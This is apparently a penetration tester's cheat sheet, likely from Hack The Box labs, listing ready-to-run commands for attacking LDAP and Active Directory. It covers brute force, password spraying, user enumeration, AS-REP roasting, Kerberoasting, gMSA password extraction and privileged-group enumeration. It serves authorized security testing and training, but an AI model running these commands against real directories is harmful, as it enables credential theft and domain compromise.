LDAP

 ## ------------------| Brute Force
 hydra -l UserName -P Passwordlist <IP> ldap2 -V -f

#  -x Simple Authentication
#  -D UserName
#  -w Password
#  -b Base site

## ------------------| Simple Auth
ldapsearch -x -H ldap://<IP>

## ------------------| Get LDAP Naming Context (DN)
ldapsearch -x -s base namingcontexts -H ldap://<IP>

## ------------------| Enum
ldapsearch -x -b "DC=<SUBDOMAIN>,DC=<TDL>" -H ldap://<IP>
ldapsearch -x -b "DC=<SUBDOMAIN>,DC=<TDL>" -H ldap://<IP> -D '<DOMAIN>\<USER>' -w 'PassWord'
ldapsearch -x -b "DC=<SUBDOMAIN>,DC=<TDL>" -H ldap://<IP> -D '<DOMAIN>\ldap' -w 'PassWord'

## ------------------| Queries
ldapsearch -x -H ldap://<IP> -b "DC=htb,DC=local" '(objectClass=Person)'
ldapsearch -x -H ldap://<IP> -b "DC=htb,DC=local" '(objectClass=User)' sAMAccountName | grep sAMAccountName

## ------------------| Grep only domain admins
ldapsearch -x -H ldap://<IP> -b "DC=HTB,DC=LOCAL"  -D '<DOMAIN>\<USER>' -w 'Ashare1972' "(&(ObjectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=htb,DC=local))" | grep sAMAccountName

## ------------------| Extract users
ldapsearch -x -b "DC=HTB,DC=LOCAL" "*" -H ldap://<IP>  | grep dn | awk -F\, '{print $1}' | awk -F\= '{print $2}'
-b "CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract computers
-b "CN=Computers,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract self info
 -b "CN=<MY NAME>,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract Domain Admins
-b "CN=Domain Admins,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract Domain Users
-b "CN=Domain Users,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract Enterprise Admins
-b "CN=Enterprise Admins,CN=Users,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract Administrators
-b "CN=Administrators,CN=Builtin,DC=<SUBDOMAIN>,DC=<TDL>"

## ------------------| Extract Remote Desktop Group
-b "CN=Remote Desktop Users,CN=Builtin,DC=<SUBDOMAIN>,DC=<TDL>"

## This tool is used to enumerating the domain via LDAP anonymous bind
/opt/windapsearch/windapsearch-linux-amd64 -d <IP> -m users --proxy 127.0.0.1:1080

## ------------------| User Enumarations
kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d <DOMAIN> --dc <IP>
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d <DOMAIN> --dc <IP>


## ------------------| Password Spray
kerbrute passwordspray usernames.txt -d <DOMAIN> --dc <IP> 'password'

## ------------------| AS-REP Roasting
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --downgrade -d <DOMAIN> --dc <IP> > hashes.out

## ------------------| If an account exists without kerberos protocol
nxc ldap <IP> -u users.txt -p '' -k

## ------------------| Perform ASREPRoasting Attack
sudo timedatectl set-timezone UTC
sudo systemctl stop systemd-timesyncd
sudo ntpdate 'domain'
nxc ldap <IP> -u 'username' -p '' --asreproast asreproast.txt

## ------------------| Perform
sudo timedatectl set-timezone UTC
sudo systemctl stop systemd-timesyncd
sudo ntpdate 'domain'
nxc ldap <IP> -u 'username' -p 'password' --kerberoasting kerberoasting.txt

## ------------------| List available modules
nxc ldap <IP> -u 'username' -p 'password' -L
nxc ldap <IP> -u 'username' -p 'password' -M <moduleName> --options

## ------------------| Enumerate password policy.
nxc smb 10.10.10.161 --pass-pol
nxc smb 10.10.10.161 --pass-pol -u '' -p ''

## ------------------| Extract Self Information
nxc ldap <IP> -u 'username' -p 'password' -M whoami

## ------------------| Extract Group Managed Service Account (gMSA) Passwords
nxc ldap <IP> -u 'username' -p 'password' --gmsa

## ------------------| Enumerate Users Trusted for Delegation
nxc ldap <IP> -u 'username' -p 'password' --trusted-for-delegation

## ------------------| Enumerate Users Without Passwords
nxc ldap <IP> -u 'username' -p 'password' --password-not-required

## ------------------| Enumerate Accounts with Admin Count
nxc ldap <IP> -u 'username' -p 'password' --admin-count

## ------------------| Enumerate Subnets
nxc ldap <IP> -u 'username' -p 'password' -M subnets

## ------------------| Enumerate Domain Trusts
nxc ldap <IP> -u 'username' -p 'password' -M enum_trusts

## ------------------| Check LDAP Signing Requirements
nxc ldap <IP> -u 'username' -p 'password' -M ldap-checker

## ------------------| Run BloodHound
nxc ldap <IP> -u 'username' -p 'password' --bloodhound --collection All --dns-server '<DNS_SERVER_IP>'

## ------------------| Enumerate All Users
nxc ldap <IP> -u 'username' -p 'password' --users

## ------------------| Enumerate Active Users
nxc ldap <IP> -u 'username' -p 'password' --active-users

## ------------------| Enumerate Computers
nxc ldap <IP> -u 'username' -p 'password' -M find-computer -o TEXT="SQL"

## ------------------| Enumerate Domain
nxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Domain Admins'
nxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Domain Users'           ## Enumerate Domain Users
nxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Administrators'         ## Enumerate Administrators
nxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Enterprise Admins'      ## Enumerate Enterprise Admins
nxc ldap <IP> -u 'username' -p 'password' -M group-mem -o GROUP='Remote Desktop Users'   ## Enumerate Remote Desktop Users

## ------------------| Enumerate Group Memberships
nxc ldap <IP> -u 'username' -p 'password' -M groupmembership -o USER='<TARGET_USER>'

## ------------------| Only Json output
ldapdomaindump --no-grep --no-html -o ldapinfo <IP> -u <DOMAIN>\\<USER> -p <PASS>

## ------------------| Only HTML output
ldapdomaindump --no-json --no-grep -o ldapinfo <IP> -u <DOMAIN>\\<USER> -p <PASS>